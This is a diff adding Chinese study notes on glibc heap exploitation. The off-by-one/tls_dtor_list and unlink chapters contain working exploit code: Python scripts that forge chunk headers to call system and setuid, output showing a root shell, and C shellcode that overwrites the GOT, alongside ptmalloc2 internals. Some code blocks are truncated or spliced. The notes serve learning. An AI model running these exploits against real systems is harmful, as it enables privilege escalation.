字节的内存区域给 p2. +* 行 [10] 释放 p2 指向的内存区域回 glibc malloc. +* 行 [11] 分配 512 字节 内存区域 p2_1. +* 行 [12] 分配 512 字节 内存区域 p2_2. +* 行 [13] 是在 p2 被释放过后开始使用它。 +* 行 [14] 释放 p1 指向的内存区域, 这里会导致在退出时候的任意代码执行。 + +根据之前的知识,我们知道当'p2'被释放到 glibc malloc 时,它被合并到 top chunk 中。后来当请求分配 p2_1 内存时,它会从 top chunk 分配即 p2 和 p2_1 包含相同的堆地址。此外,当请求 p2_2 申请内存时候,也从 top chunk 分配即 p2_2 距离 p2 为 512 字节。因此当在行 13 处发生 p2 指针的 UAF,攻击者控制的数据(最大 1019 字节)被复制到大小仅为 512 字节的 p2_1 中,因此剩余的数据会覆盖 next chunk p2_2 的头部的 size 域。 + +堆布局: + + + +根据之前的知识,如果攻击者覆盖了 next chunk 头部的 size 域, 就可以即使在 p2_1 已经被分配的状态下戏弄 glibc malloc 进行 unlink.同样在本文中,还将会看到 unlink 一个其 chunk header 是攻击者精心构造且处于被分配状态的 large chunk 可能会导致任意代码执行,攻击者构造伪造的 chunk header 如下所述: + +fd 应该指向被释放的 chunk 地址。 从堆布局可发现 p2_1 位于偏移 0x410 处。 因此 fd = heap_base_address(从信息泄漏 bug 获得)+ 0x410。 + +* fd 应该指向被释放的 chunk 地址。 从堆布局可发现 p2_1 位于偏移 0x410 处。 因此 fd = heap_base_address(从信息泄漏 bug 获得)+ 0x410。 +* bk 也应该指向被释放的 chunk 的地址。 从堆布局可发现 p2_1 位于偏移 0x410 处。 因此 fd = heap_base_address(从信息泄漏 bug 获得)+ 0x410。 +* fd_nextsize 该指向 tls_dtor_list - 0x14。tls_dtor_list 属于 glibc 的私有匿名映射段,段地址是被随机化的。因此攻破随机随机化可以使用暴力破记得技术。 + +bk_nextsize 应该指向包含 dtor_list 元素的堆地址!system dtor_list 被攻击者在 feak chunk header 后注入,而 setuid dtor_list 被攻击者注入是用来替代 p2_2 指向的堆区域。从堆布局还可知道 system 和 setuid 的 dtor_list 分别位于偏移量 0x428 处和 0x618 处。 + +Exp: + +```python +#exp.py +#!/usr/bin/env python +import struct +import sys +import telnetlib +import time + +ip = '127.0.0.1' +port = 1234 + +def conv(num): return struct.pack(" what's is off-by-one ? + +其实在 stack 部分已经出现过 off by one 问题,概括而言就是:当 copy 一个字符串切目标地址的位置是在`heap`上且其源长度等于目标长度会导致字符串的尾部的`NULL`覆写下一个`chunk`的`chunk header`,这样可能会导致任意代码执行。 + +## 0x01 the chunk of glibc + +在来回顾一下 glibc 中 malloc 的实现 + +```c +/* + This struct declaration is misleading (but accurate and necessary). + It declares a "view" into memory allowing access to necessary + fields at known offsets from a given base. See explanation below. +*/ + +struct malloc_chunk { + + INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */ + INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */ + + struct malloc_chunk* fd; /* double links -- used only if free. */ + struct malloc_chunk* bk; + + /* Only used for large blocks: pointer to next larger size. */ + struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ + struct malloc_chunk* bk_nextsize; +}; +``` +其实看代码注释就能明白了,`perv_size`这个变量是如果前面的 chunk 是 free 的话那么这个字段就是记录着它的大小,如果不是 free 的话就是保护前一个 chunk 的数据;`size` 这个字段包含被分配的 chunk 的大小,其中最后三个 bit 分别是 P(PREV_INUSE) M(IS_MMAPPED) N(NON_MAIN_ARENA) flag 信息;`fd` 是指向同一个 bins 中下一个 chunk 的指针;`bk` 是指向同一个 bins 中前一个 chunk 的指针。 + +# 0x10 practice + +``` +#include +#include +#include +#include +#include +#include +#include + +#define SIZE 16 + +int main(int argc, char* argv[]) +{ + + int fd = open("./inp_file", O_RDONLY); /* [1] */ + if(fd == -1) { + printf("File open error\n"); + fflush(stdout); + exit(-1); + } + + if(strlen(argv[1])>1020) { /* [2] */ + printf("Buffer Overflow Attempt. Exiting...\n"); + exit(-2); + } + + char* tmp = malloc(20-4); /* [3] */ + char* p = malloc(1024-4); /* [4] */ + char* p2 = malloc(1024-4); /* [5] */ + char* p3 = malloc(1024-4); /* [6] */ + + read(fd,tmp,SIZE); /* [7] */ + strcpy(p2,argv[1]); /* [8] */ + + free(p); /* [9] */ +} +``` + +编译指令,需要注意的是在这里示例里面需要暂时关闭`ASLR`,然后下面也会重新介绍两个通用 bypass 堆上`ASLR`的技术: 信息泄漏, 暴力破解。 + +```shell +# echo 0> /proc/sys/kernel/randomize_va_space +$ gcc -o consolidate_forward consolidate_forward.c +$ sudo chown root consolidate_forward +$ sudo chgrp root consolidate_forward +$ sudo chmod +s consolidate_forward +``` + +代码中的 LINE 2 和 LINE 8 就是发生基于堆的 off by one 安全问题的关键,因为目标缓冲区和源缓冲区大小都是 1020 bytes 所有可能导致任意代码执行。 + +> 如何构造任意代码执行? + +当单个`null`覆盖掉后面 chunk(p3) 的 header 会导致任意代码执行。当 chunk p2 大小为 1020 字节时会导致单个字节的溢出,由此它的的下一个 chunk 的 p3 的头部 size 由一个有意义的字节变成被覆盖成为了 null。 + +任意代码执行的构造源于一个`NULL`覆盖掉 next chunk 的 chunk header ('p3'), 当 1020 字节的 chunk ('p2') 上发生由单字节导致的 overflow,那么后面的 chunk (p3)的 + +> 为什么当前的 chunk 的头部 size 的 LSB 会由 prev_size 的 LSB 代替? + +`checked_request2size` 函数会把用户请求空间的大小值转化为内部的值(ptmalloc2 内部表示)由此需要的额外的空间来把 malloc_chunk 排序成线性。 + +在可用的尺寸的最后 3 bit 从未被使用的情况下才会发生转化,因此它可以用来存储 P,M 与 N 标志位信息。 + +这样的话当`malloc(1020)`来执行我们的漏洞代码,用户请求的 1020 会被转换成 `((1020 + 4 + 7) & ~7)` 1024 字节,分配 1020 字节的块的开销只有 4 字节!但是对于分配 chunk,需要大小为 8 字节的 chunk header,以便存储 prev_size 和 size informations。因此,1024 字节块的前 8 个字节将用于 chunk header,但是现在对于用户数据而言,仅剩下 1016(1024-8)字节,而不是 1020 字节。但是如上所述在 prev_size 定义中,如果分配 previous chunk('p2')已分配,那么 chunk('p3')prev_size 字段则包含用户数据。因此,位于该分配的 1024 字节块('p2')旁边的块('p3')的 prev_size 包含剩余的 4 个字节的用户数据! 这就是为什么 LSB 的大小被覆盖用单个 NULL 字节,而不是 prev_size 的原因! + +堆的布局: + + + +注意: 上图中攻击者的数据在后面"覆写 tls_dtor_list"章节将会解释。 + +> 如何获取任意代码执行 ? + +现在我们知道了`off-by-one`错误,单个`null`字节覆写后一个 chunk p3 的 size 域的 LSB,这个单字节的`NULL`的覆写意为着 chunk p3 的 flag 被清除也就是说无论原来 chunk p2 不论原来的什么状态变成了 free。 + +当 p2 chunk 溢出导致之前的 chunk 变成 free 状态,这种不一致会驱使 glibc 的代码去 `unlink` 已处于被分配状态的 chunk p2。 + +正如这个 post 所见,因为任意四个字节的内存区域可能被攻击者写入数据所以 unlink 一个已经处于 allocated 状态的 chunk 可能会导致任意代码执行。 + +在这里我们可以也会看到了因为 glibc 的 GOT 强化使得 unlink 技术变得过时,尤其是因为"corrupted double linked list"使任意代码执行变的不可能,但是在 2014 年 google 的 zero team 发现一个通过 layer chunk 成功绕过"corrupted double linked list"的方法。 + +**unlink** (checkout from glibc-2.20) + +```c +/* Take a chunk off a bin list */ +#define unlink(P, BK, FD) { \ + FD = P->fd; \ + BK = P->bk; \ + if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ + malloc_printerr (check_action, "corrupted double-linked list", P); \ + else { \ + FD->bk = BK; \ + BK->fd = FD; \ + if (!in_smallbin_range (P->size) \ + && __builtin_expect (P->fd_nextsize != NULL, 0)) { \ + assert (P->fd_nextsize->bk_nextsize == P); \ + assert (P->bk_nextsize->fd_nextsize == P); \ + if (FD->fd_nextsize == NULL) { \ + if (P->fd_nextsize == P) \ + FD->fd_nextsize = FD->bk_nextsize = FD; \ + else { \ + FD->fd_nextsize = P->fd_nextsize; \ + FD->bk_nextsize = P->bk_nextsize; \ + P->fd_nextsize->bk_nextsize = FD; \ + P->bk_nextsize->fd_nextsize = FD; \ + } \ + } else { \ + P->fd_nextsize->bk_nextsize = P->bk_nextsize; \ + P->bk_nextsize->fd_nextsize = P->fd_nextsize; \ + } \ + } \ + } \ +} +``` + +在 glibc malloc 中,主要循环双链表由 malloc_chunk 的 fd 和 bk 字段维护,而次要的循环双链表链接由 malloc_chunk 的 fd_nextsize 和 bk_nextsize 字段维护。 + + +它看起来像损坏的双链表的加固被应用于首要(行[1])和次要的(行[4]和[5])双链表,但是次要循环双链表的加固只是一个调试断言语句(而不是像主循环双链表加固那样的一个 runtime 的检查),它一般不会在生产环境被编译。 +因此,次要循环双链表加固(行[4]和[5])是没有意义,这允许我们将任意数据写入任何 4 字节存储器区域(行[6]和[7])。 + +仍然有较少的一些东西被清理掉,所以让我们在这里来看`unlinking`一个 large chunk 导致任意代码执行的一些细节。因为攻击者已经控制 一个已经被 free 的 large chunk。 他覆写 malloc_chunk 元素如下: + +* fd 应该指回一个被 free 的 chunk 的地址来绕过主双向循环链表的加固。 +* bk 也应该指回一个 free 的 chunk 的地址来绕过主双向循环链表的加固。 +* fd_next 应该指向 free_got_addr - 0x14 +* fd_nextsize 指向 system_addr + +但是行 6 与 7 期望 fd_nextsize 与 bk_nextsize 变的可写。fd_nextsize 变的可写(因为它指向 free_got_addr - 0x14)但是 bk_nextsize 不是可写的因为它指向属于 libc.so 的地址的 system_addr。这个问题可以通过覆写 tls_dtor_list 来解决。 + +## Overwriting tls_dtor_list + +tls_dtor_list 是本地线程变量,它将在调用 exit() 期间包含函数指针列表。`__call_tls_dtors`穿过`tls_dtor_list` 与一次接着一次。因此我们可以用包含`system()`及其参数的堆的地址覆写 tls_dtors_list, `system()`将会被调用。 + +tls_dtor_list is a thread-local variable which contains a list of function pointers to be invoked during exit(). __call_tls_dtors walks through tls_dtor_list and invokes the function one by one!! Thus if we can overwrite tls_dtor_list with a heap address which contains system and system_arg in place of func and obj of dtor_list, system() could be invoked!! + + + +因此现在攻击者覆写 变成 free 的 large chunk 的 malloc_chunk 元素如下: +Thus now attacker overwrites, to be freed large chunk’s malloc_chunk elements as said below: + +* fd 应该向后指向 free chunk 的地址来绕过主双向循环链表加固。 +* bk 也应该向后指向 free chunk 的地址来绕过主双向循环链表加固。 +* fd_nextsize 应该指向 tls_dtor_list - 0x14 +* bk_nextsize 应该指向包含`dtor_list`元素的堆地址。 + +- fd_nextsize 变的可写是通过是因为 tls_dtor_list 属于 libc.so 可写段,通过反汇编 `__call_tls_dtors()`发现 tls_dtor_list 地址发现在`0xb7fe86d4`. +- Problem of bk_next size being writable is solved since it points to heap address. +- bk_nextsize 变的可写问题通过指向 heap 地址来解决。 + +使用上述信息,让我们编写 exp 来攻击具有漏洞的二进制文件`consolidate_forward`. + +POC: + +```python +#exp_try.py +#!/usr/bin/env python +import struct +from subprocess import call + +fd = 0x0804b418 +bk = 0x0804b418 +fd_nextsize = 0xb7fe86c0 +bk_nextsize = 0x804b430 +system = 0x4e0a86e0 +sh = 0x80482ce + +#endianess convertion +def conv(num): + return struct.pack(" inp_file +$ python exp_try.py +Calling vulnerable program +sh-4.2$ id +uid=1000(sploitfun) gid=1000(sploitfun) groups=1000(sploitfun),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 +sh-4.2$ exit +exit +$ +``` + +> 为什么没有拿到 root shell? + +`/bin/bash`会在当 euid 不等于 uid 时候丢掉特权。我们的二进制 consolidate_forward 的 `ruid=1000` 其 `euid=0`, 所以当调用`system("/bin/bash")`时 bash 特权被丢。可以在调用`system()`之前调用`setuid(0)`,然后 `call_tls_dtors()` 一步一步调用。 + +完整 exp: + +```python +#gen_file.py +#!/usr/bin/env python +import struct + +#dtor_list +setuid = 0x4e123e30 +setuid_arg = 0x0 +mp = 0x804b020 +nxt = 0x804b430 + +#endianess convertion +def conv(num): + return struct.pack(" inp_file +$ python exp.py +Calling vulnerable program +sh-4.2# id +uid=0(root) gid=1000(sploitfun) groups=0(root),10(wheel),1000(sploitfun) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 +sh-4.2# exit +exit +$ +``` + +我们的`off-by-one`漏洞代码是向前合并 chunk,类似的也可以向后合并。类似的`off-by-one`向后合并也是一样可以被 exploited!! + +### reference + +[sploitfun](https://sploitfun.wordpress.com/2015/06/09/off-by-one-vulnerability-heap-based/) diff --git a/chapter3/linux-x86-unlink.md b/chapter3/linux-x86-unlink.md new file mode 100644 index 0000000..5251b7d --- /dev/null +++ b/chapter3/linux-x86-unlink.md @@ -0,0 +1,413 @@ +# 0x00 beginning + +这个 post 主要记录学习 32 位 linux 下堆溢出使用的 unlink 技术, 依赖到`ptmalloc2`那部分的知识, 实验主要取自 [^orgin], 更多理论来自 [^phrack] 与 [^internal]. + +## prepare + +存在堆溢出的代码 + +```c +#include +#include + +int main( int argc, char * argv[] ) +{ + char * first, * second; + +/*[1]*/ first = malloc( 666 ); +/*[2]*/ second = malloc( 12 ); + if(argc!=1) +/*[3]*/ strcpy( first, argv[1] ); +/*[4]*/ free( first ); +/*[5]*/ free( second ); +/*[6]*/ return( 0 ); +} +``` + +代码很容易读懂, 就是从命令行读取第二个参数 (argv[1]) 不加校验复制到缓冲区 first, 如果 argv[1] 所指的字符串大于 666 字节就会在堆空间发生溢出, 具体会覆盖掉下一个`chunk header`, 这可能会导任意代码执行. +图示内存布局: + + +# 0x10 depending + +这个技术主要思路是戏弄`glibc malloc`的内存回收机制, 讲上面内存布局中的`second chunk`给`unlink`掉, 并且在`unlink`第二个`chunk`期间将会覆写 free 函数的 got 表项为 shellcode 的地址! 在成功覆写过后, 在 [5] 调用`free`时`shellcode`将会被执行, 看上面操作可以发现其核心就是在`unlink`操作上. + +```c +#define unlink(AV, P, BK, FD) { \ + FD = P->fd; \ + BK = P->bk; \ + if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ + malloc_printerr (check_action, "corrupted double-linked list", P, AV); \ + else { \ + if (!in_smallbin_range(size)) + { + p->fd_nextsize = NULL; + p->bk_nextsize = NULL; + } + bck->fd = p; + fwd->bk = p; + + set_head(p, size | PREV_INUSE); + set_foot(p, size); + + check_free_chunk(av, p); + } +FD->bk = BK; \ + BK->fd = FD; \ + if (!in_smallbin_range (P->size) \ + && __builtin_expect (P->fd_nextsize != NULL, 0)) { \ + if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \ + || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \ + malloc_printerr (check_action, \ + "corrupted double-linked list (not small)", \ + P, AV); \ + if (FD->fd_nextsize == NULL) { \ + if (P->fd_nextsize == P) \ + FD->fd_nextsize = FD->bk_nextsize = FD; \ + else { \ + FD->fd_nextsize = P->fd_nextsize; \ + FD->bk_nextsize = P->bk_nextsize; \ + P->fd_nextsize->bk_nextsize = FD; \ + P->bk_nextsize->fd_nextsize = FD; \ + } \ + } else { \ + P->fd_nextsize->bk_nextsize = P->bk_nextsize; \ + P->bk_nextsize->fd_nextsize = P->fd_nextsize; \ + } \ + } \ + } \ +} +``` + +如果没有攻击的影响 free 函数进行如下操作 + +## 1) 检查 non mmapped chunk + +检查`non mmapped chunk`后进行向前或者向后合并。 + +```c +static void +_int_free (mstate av, mchunkptr p, int have_lock) +{ +... + /* + Consolidate other non-mmapped chunks as they arrive. + */ + + else if (!chunk_is_mmapped(p)) { + if (! have_lock) { + (void)mutex_lock(&av->mutex); + locked = 1; + } + + nextchunk = chunk_at_offset(p, size); + + /* Lightweight tests: check whether the block is already the + top block. */ + if (__glibc_unlikely (p == av->top)) + { + errstr = "double free or corruption (top)"; + goto errout; + } + /* Or whether the next chunk is beyond the boundaries of the arena. */ + if (__builtin_expect (contiguous (av) + && (char *) nextchunk + >= ((char *) av->top + chunksize(av->top)), 0)) + { + errstr = "double free or corruption (out)"; + goto errout; + } + /* Or whether the block is actually not marked used. */ + if (__glibc_unlikely (!prev_inuse(nextchunk))) + { + errstr = "double free or corruption (!prev)"; + goto errout; + } + + nextsize = chunksize(nextchunk); +... +``` + +## 2) 向后合并 + +### 查看 previous chunk 是否处于 free 状态 + +```c +static void +_int_free (mstate av, mchunkptr p, int have_lock) +{ +... + /* consolidate backward */ + if (!prev_inuse(p)) { // here is + prevsize = p->prev_size; + size += prevsize; + p = chunk_at_offset(p, -((long) prevsize)); + unlink(av, p, bck, fwd); + } +``` + +如果当前被释放的 chunk 的 P (PREV_INUSE) 位没有被设置,则说明前 chunk 是处于 free。在我们的例子中,previous chunk 自`first`的 P 位由是被分配出去的,因为 default chunk 前面是堆的最靠前位置被约定为分配的(即使它不存在)。 + +### 如果处于 free 状态则合并 + +```c +static void +_int_free (mstate av, mchunkptr p, int have_lock) +{... + prevsize = p->prev_size; + size += prevsize; + p = chunk_at_offset(p, -((long) prevsize)); + unlink(av, p, bck, fwd); // here is +``` + +也就是说,把`previous chunk`自它的`binlist`移除,把`previous chunk`的大小增加到当前的`chunk`并修改`chunk`的指针指向`previous chunk`。因为在我们的例子中`previous chunk`是被分配出去的,所以`unlink`没有被触发,这样的话当前的被释放的`first`不会被向后合并。 + +## 3) 向前合并 + +### 查看 next chunk 是否处于 free 状态 + +```c +static void +_int_free (mstate av, mchunkptr p, int have_lock) +{ +... + /* consolidate backward */ + if (!prev_inuse(p)) { // here is + prevsize = p->prev_size; + size += prevsize; + p = chunk_at_offset(p, -((long) prevsize)); + unlink(av, p, bck, fwd); + } + + if (nextchunk != av->top) { + /* get and clear inuse bit */ + nextinuse = inuse_bit_at_offset(nextchunk, nextsize); + ... +``` + +如果下下个`chunk`的 P 未被置位,则`next chunk`是`free`状态。靠导航到下下个`chunk`,增加当前被释放的`chunk`的空间到它的`chunk`指针,然后增加下一个`chunk`的 size 到下个`chunk`指针。在我们的例子中下下个`chunks`是被回收的,first's chunk 是一个`top chunk`而且它的`PREV_INUSE`是被置位的,这表明后面的`chunk`是即 second `chunk`不是 free 状态。 + +### 如果处于 free 状态则合并 + +```c +static void +_int_free (mstate av, mchunkptr p, int have_lock) +{ +... + if (nextchunk != av->top) { + /* get and clear inuse bit */ + nextinuse = inuse_bit_at_offset(nextchunk, nextsize); + + /* consolidate forward */ + if (!nextinuse) { + unlink(av, nextchunk, bck, fwd); // here is + size += nextsize; + } else + clear_inuse_bit_at_offset(nextchunk, 0); + ... +``` + +`next chunk`来自它的`binlist` 把`next chunk`的空间增加到当前`chunk`中。在我们的例子中,`next chunk`是被分配出去的,因此`unlink`是不会被调用的,这个情况下当前被回收的 first `chunk`是不会像前合并的。 + +## 4) 合并`chunk`到`unsorted bin` + +```c +static void +_int_free (mstate av, mchunkptr p, int have_lock) +{ + INTERNAL_SIZE_T size; /* its size */ + mfastbinptr *fb; /* associated fastbin */ + mchunkptr nextchunk; /* next contiguous chunk */ + INTERNAL_SIZE_T nextsize; /* its size */ + int nextinuse; /* true if nextchunk is used */ + INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */ + mchunkptr bck; /* misc temp for linking */ + mchunkptr fwd; /* misc temp for linking */ + ... + /* + Place the chunk in unsorted chunk list. Chunks are + not placed into regular bins until after they have + been given one chance to be used in malloc. + */ + + bck = unsorted_chunks(av); + fwd = bck->fd; + if (__glibc_unlikely (fwd->bk != bck)) + { + errstr = "free(): corrupted unsorted chunks"; + goto errout; + } + p->fd = fwd; + p->bk = bck; + if (!in_smallbin_range(size)) + { + p->fd_nextsize = NULL; + p->bk_nextsize = NULL; + } + bck->fd = p; + fwd->bk = p; + + set_head(p, size | PREV_INUSE); + set_foot(p, size); + + check_free_chunk(av, p); + } +... +``` + +在上面的例子中不会有这样的合并发生。 + +# 0x20 practice + +现在在来看`strcpy( first, argv[1] )`覆写`chunk`头部的构造: + +> +prev_size = 是个数字,因此 PREV_INUSE 不会被置位。 +size = -4 +fd = free address - 12 +bk = shellcode address + +如果攻击顺利那么 line[4]将会进行下面的操作: + +> +* 对`non mmapped chunks`而言可能有两种合并。 +* 向后合并: +1. 查看前面`previous chunk`的 free 状态: +2. 如果是 free 考虑合并: +* 向前合并: +1. 向后查看`next chunk`的 free 状态: +2. 如果是 free 考虑合并: + +图解示例漏洞程序在构造出来出的数据输入下的内存布局: + + + +## 0x21 compilation + +```shell +$ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2 +``` + +安装上面 shell 提供的命令行提供的参数,可以避免使用默认的安全机制有:NX,RELRO,当然 ASLR 需要手工在操作系统里面暂时关闭。 + +## 0x21 exploit + +理解了上面 unlink 的技术的本质,开始动手写 exploit。 + +```c +/* Program to exploit 'vuln' using unlink technique. + */ +#include +#include + +#define FUNCTION_POINTER ( 0x0804978c ) //Address of GOT entry for free function obtained using "objdump -R vuln". +#define CODE_ADDRESS ( 0x0804a008 + 0x10 ) //Address of variable 'first' in vuln executable. + +#define VULNERABLE "./vuln" +#define DUMMY 0xdefaced +#define PREV_INUSE 0x1 + +char shellcode[] = + /* Jump instruction to jump past 10 bytes. ppssssffff - Of which ffff would be overwritten by unlink function + (by statement BK->fd = FD). Hence if no jump exists shell code would get corrupted by unlink function. + Therefore store the actual shellcode 12 bytes past the beginning of buffer 'first'*/ + "\xeb\x0assppppffff" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; + +int main( void ) +{ + char * p; + char argv1[ 680 + 1 ]; + char * argv[] = { VULNERABLE, argv1, NULL }; + + p = argv1; + /* the fd field of the first chunk */ + *( (void **)p ) = (void *)( DUMMY ); + p += 4; + /* the bk field of the first chunk */ + *( (void **)p ) = (void *)( DUMMY ); + p += 4; + /* the fd_nextsize field of the first chunk */ + *( (void **)p ) = (void *)( DUMMY ); + p += 4; + /* the bk_nextsize field of the first chunk */ + *( (void **)p ) = (void *)( DUMMY ); + p += 4; + /* Copy the shellcode */ + memcpy( p, shellcode, strlen(shellcode) ); + p += strlen( shellcode ); + /* Padding- 16 bytes for prev_size,size,fd and bk of second chunk. 16 bytes for fd,bk,fd_nextsize,bk_nextsize + of first chunk */ + memset( p, 'B', (680 - 4*4) - (4*4 + strlen(shellcode)) ); + p += ( 680 - 4*4 ) - ( 4*4 + strlen(shellcode) ); + /* the prev_size field of the second chunk. Just make sure its an even number ie) its prev_inuse bit is unset */ + *( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE ); + p += 4; + /* the size field of the second chunk. By setting size to -4, we trick glibc malloc to unlink second chunk.*/ + *( (size_t *)p ) = (size_t)( -4 ); + p += 4; + /* the fd field of the second chunk. It should point to free - 12. -12 is required since unlink function + would do + 12 (FD->bk). This helps to overwrite the GOT entry of free with the address we have overwritten in + second chunk's bk field (see below) */ + *( (void **)p ) = (void *)( FUNCTION_POINTER - 12 ); + p += 4; + /* the bk field of the second chunk. It should point to shell code address.*/ + *( (void **)p ) = (void *)( CODE_ADDRESS ); + p += 4; + /* the terminating NUL character */ + *p = ''; + + /* the execution of the vulnerable program */ + execve( argv[0], argv, NULL ); + return( -1 ); +} + +``` + +执行上面的程序,可以看到一个新的 shell spawned! + +```shell + +$ gcc -g -o exp exp.c +./exp +$ ls +cmd exp exp.c vuln vuln.c +``` + +# 0x30 protection + +如今`unlink`技术自从`glibc`提供了`GOT`加固时就已经过时了!而且在`glibc`中也增加了对于`unlink`利用的的检查。 + +## 0x31 double free + +```c + if (__glibc_unlikely (!prev_inuse(nextchunk))) + { + errstr = "double free or corruption (!prev)"; + goto errout; + } +``` + +## 0x32 invalid next size + +```c + if (__builtin_expect (nextchunk->size <= 2 * SIZE_SZ, 0) + || __builtin_expect (nextsize>= av->system_mem, 0)) + { + errstr = "free(): invalid next size (normal)"; + goto errout; + } +``` + +## 0x33 Courrupted Double Linked list + +``` + if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) + malloc_printerr (check_action, "corrupted double-linked list", P); +``` + +### reference + +[^orgin]: [Heap overflow using unlink](https://sploitfun.wordpress.com/2015/02/26/heap-overflow-using-unlink/) +[^phrack]: [Volume 0x0b, Issue 0x39, Phile #0x08 of 0x12](http://phrack.org/issues/57/8.html#article) +[^internal]: [linux heap internals](../media/attach/Linux Heap Internals.pdf) diff --git a/chapter3/ptmalloc2.md b/chapter3/ptmalloc2.md new file mode 100644 index 0000000..935eeef --- /dev/null +++ b/chapter3/ptmalloc2.md @@ -0,0 +1,456 @@ +# 0x00 introduction + +这篇是对笔记是对 [^Understanding] 学习的记录, 需要预备知识 [^layout], 其余 [^freebuf1] 与 [^freebuf2] 是阿里人对他的翻译整理补充, 同时给正经的开发人员裂墙安利 [^source]. +学习这个主要目的是掌握堆运作的基本流程与可能存在的问题. +这个可以为堆安全问题 (double free, unlink, use-after-free etc) 学习与分析提供基础. +其次是尝试总结出一个相对一致的内存管理模型 (这个想法来自于组内的一次分享:The GC of JAVA). + +目前 C 语言主要几种堆管理机制是: + +* dlmalloc - General purpose allocator +* ptmalloc2 - Glibc +* jemalloc - freebsd and firefox +* tcmalloc - Google +* libumem - Solaris + +在 linux 系统上`mem_strcut->start_brk`与`mm_struct->brk`分别限定了堆的起止地址, 进程可通过`malloc`,`calloc`,`realloc`,`free`,`brk`与`sbrk`来请求与释放 heap. +其中只有`brk`是唯一的系统调用, 其余的都是基于`brk`或`mmap`调用实现的. + +* `brk`: 这个系统调用相对简单, 仅仅是改变`mm_struct->brk`, 新申请的区域不以 0 初始化. +* `mmap`:malloc 利用`mmap`调用创建私有匿名的映射段, 以 0 初始化. + +在 ptmalloc2 设计时为了提高效率, 做了一点预设, 其中与`brk`和`mmap`相关的就是: + +* 具有长生命周期的大内存分配使用 mmap. +* 特别大的内存分配总是使用 mmap. +* 具有短生命周期的内存分配使用 brk, 因为用 mmap 映射匿名页, 当发生缺页异常时,kernel 为缺页分配一个新物理页并清 0, 一个 mmap 的内存块需要映射多个物理页, 导致多次清 0 操作, 很浪费系统资源, 所以引入了 mmap 分配阈值动态调整机制保证在必要的情况下才使用 mmap 分配内存. + +## 0x01 the ptmalloc2's behaviour + +主要利用下面代码来初步窥视 glibc 中堆得一些具体行为, 引用源码来自 glibc 2.23. + +```c +/* gcc mthread.c -lpthread */ +#include +#include +#include +#include +#include + +void* threadFunc(void* arg) { + printf("Before malloc in thread 1\n"); + getchar(); + char* addr = (char*) malloc(1000); + printf("After malloc and before free in thread 1\n"); + getchar(); + free(addr); + printf("After free in thread 1\n"); + getchar(); +} + +int main() { + pthread_t t1; + void* s; + int ret; + char* addr; + + printf("Welcome to per thread arena example::%d\n",getpid()); + printf("Before malloc in main thread\n"); + getchar(); + addr = (char*) malloc(1000); + printf("After malloc and before free in main thread\n"); + getchar(); + free(addr); + printf("After free in main thread\n"); + getchar(); + ret = pthread_create(&t1, NULL, threadFunc, NULL); + if(ret) + { + printf("Thread creation error\n"); + return -1; + } + ret = pthread_join(t1, &s); + if(ret) + { + printf("Thread join error\n"); + return -1; + } + return 0; +} +``` +Before malloc in main thread: +这个阶段可以看见程序是没有堆空间的 (如果有会有一个 heap 表示出来, 且那个内存区域是 rw 的权限). + +```x86asm +08048000-08049000 r-xp 00000000 fc:00 393219 /home/guowang/lsploits/hof/ptmalloc.ppt/mthread/a.out +08049000-0804a000 r--p 00000000 fc:00 393219 /home/guowang/lsploits/hof/ptmalloc.ppt/mthread/a.out +0804a000-0804b000 rw-p 00001000 fc:00 393219 /home/guowang/lsploits/hof/ptmalloc.ppt/mthread/a.out +b7e05000-b7e07000 rw-p 00000000 00:00 0 +``` +After malloc and before free in main thread: +主线程调用了`malloc(1000)`过后, 可以系统在数据段相邻的地方提供了 132KB 大小的空间, 这个空间被称为 arena, 也由于是主线程创建也被称为 main_arena. +132KB 比 1000 字节大太多, 后面主线程继续申请空间会先从 main_arena 这里扣除, 直到不够用系统会继续增加 arena 的大小. + +```x86asm +08048000-08049000 r-xp 00000000 fc:00 393219 /home/guowang/lsploits/hof/ptmalloc.ppt/mthread/a.out +08049000-0804a000 r--p 00000000 fc:00 393219 /home/guowang/lsploits/hof/ptmalloc.ppt/mthread/a.out +0804a000-0804b000 rw-p 00001000 fc:00 393219 /home/guowang/lsploits/hof/ptmalloc.ppt/mthread/a.out +0804b000-0806c000 rw-p 00000000 00:00 0 [heap] +b7e05000-b7e07000 rw-p 00000000 00:00 0 +``` +After free in main thread: +在主线程调用 free 之后, 内存布局还没有变,`free()`操作并不是直接把内存给操作系统, 而是给库函数加以管理. +它会将已经释放的`chunk`(heap 的最小内存单位) 添加到`main_arean`的 bin(这是一种用于存储同类型 free chunk 的双链表数据结构) 中. 下次申请堆空间时候优先从 bin 中找合适的 chunk. + +```x86asm +08048000-08049000 r-xp 00000000 fc:00 393219 /home/guowang/lsploits/hof/ptmalloc.ppt/mthread/a.out +08049000-0804a000 r--p 00000000 fc:00 393219 /home/guowang/lsploits/hof/ptmalloc.ppt/mthread/a.out +0804a000-0804b000 rw-p 00001000 fc:00 393219 /home/guowang/lsploits/hof/ptmalloc.ppt/mthread/a.out +0804b000-0806c000 rw-p 00000000 00:00 0 [heap] +b7e05000-b7e07000 rw-p 00000000 00:00 0 +``` +Before malloc in thread 1: +可以看到用户线程在没有申请对空间是没有默认线程堆空间的, 但是有默认线程栈. + +```x86asm +08048000-08049000 r-xp 00000000 fc:00 393219 /home/guowang/lsploits/hof/ptmalloc.ppt/mthread/a.out +08049000-0804a000 r--p 00000000 fc:00 393219 /home/guowang/lsploits/hof/ptmalloc.ppt/mthread/a.out +0804a000-0804b000 rw-p 00001000 fc:00 393219 